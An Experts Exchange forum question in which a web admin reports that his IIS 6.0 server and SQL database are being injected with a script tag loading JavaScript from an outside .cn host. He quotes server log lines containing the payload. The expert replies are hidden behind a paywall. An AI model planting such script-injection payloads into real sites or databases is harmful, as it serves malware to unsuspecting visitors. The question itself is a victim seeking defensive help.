Advertisement

05.16.2008 at 04:06AM PDT, ID: 23407865
[x]
Attachment Details

someones adding text to jpg's and thereby:(adding text to my db):GET /uploads/site/abc.gif<script+src=http:/www.whatever??.cn/m.js></script>

Asked by jxharding in Networking Security Vulnerabilities, Miscellaneous Security, WebApplications

Tags: Microsoft Security, IIS 6.0, MS Server 2003, Behind Linux Squid Firewall

somebody has been killing me.
our uploads directory on IIS6.0 has been violated.

i first thought it was our SQL server PC or the Web Server PC.
i only open the ports : 80 (on webserver)
i only open the ports : 1433,1434 (on sql server)

still they come in.
its a malicious .js script that appends the line
<script+src=http:/www.whatever??.cn/m.js></script>
(ive had 7 variations of the line so far) to every single field in my database that has nvarchar,char, or text.

this is what i found in the log on the webserver:

2008-05-16 07:27:33 192.168.1.2 GET /uploads/site/915class.gif<script+src=http:/www.qiqi111.cn/m.js></script> - 80 - 212.165.147.42 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.0;+SLCC1;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506;+.NET+CLR+1.1.4322) 404 0 2

 
2008-05-16 07:29:18 192.168.1.2 GET /uploads/site2/thumb11s.jpg<script+src=http:<script+src=http:/www.qiqi111.cn/m.js></script> - 80 - 212.165.147.42 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.0;+SLCC1;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506;+.NET+CLR+1.1.4322) 404 0 2

 

2008-05-16 07:29:18 192.168.1.2 GET /uploads/site1/THUMB1.jpg<script+sr<script+src=http:/www.qiqi111.cn/m.js></script> - 80 - 212.165.147.42 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.0;+SLCC1;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506;+.NET+CLR+1.1.4322) 404 0 2

 this is just todays, the breach comes from a different IP every time, today's is from Pakistan for example.

I changed IIS to not run Scripts and have only read being allowed on the uploads directory.
they still do it.

i've even deleted for e.g. site1/1.jpg, and then when i check, that file is in the log again, and thus the script has been run against a file that does not even exists.

i have nod32 antivirus on the webserver, i have spybot now installed, latest updates on both, etc,.
i know what the contents of the script is that is being run, i just dont know how they do it

please help, nobody can it seems

Start Free Trial
 
Loading Advertisement...
 
[+][-]05.16.2008 at 05:06AM PDT, ID: 21581937

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.16.2008 at 05:21AM PDT, ID: 21582016

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.16.2008 at 05:26AM PDT, ID: 21582046

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.16.2008 at 05:36AM PDT, ID: 21582101

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 7-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]05.16.2008 at 05:41AM PDT, ID: 21582131

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.16.2008 at 05:44AM PDT, ID: 21582157

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 7-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]05.16.2008 at 05:47AM PDT, ID: 21582180

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.16.2008 at 05:47AM PDT, ID: 21582183

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.16.2008 at 05:36PM PDT, ID: 21587520

View this solution now by starting your 7-day free trial. Setting up your free trial is quick, easy, and secure. We will return you to this solution, unlocked, when you're done.

 

About this solution

Zones: Networking Security Vulnerabilities, Miscellaneous Security, WebApplications
Tags: Microsoft Security, IIS 6.0, MS Server 2003, Behind Linux Squid Firewall
Sign Up Now!
Solution Provided By: jahboite
Participating Experts: 3
Solution Grade: A
 
 
 
Loading Advertisement...
20080716-EE-VQP-32 / EE_QW_2_20070628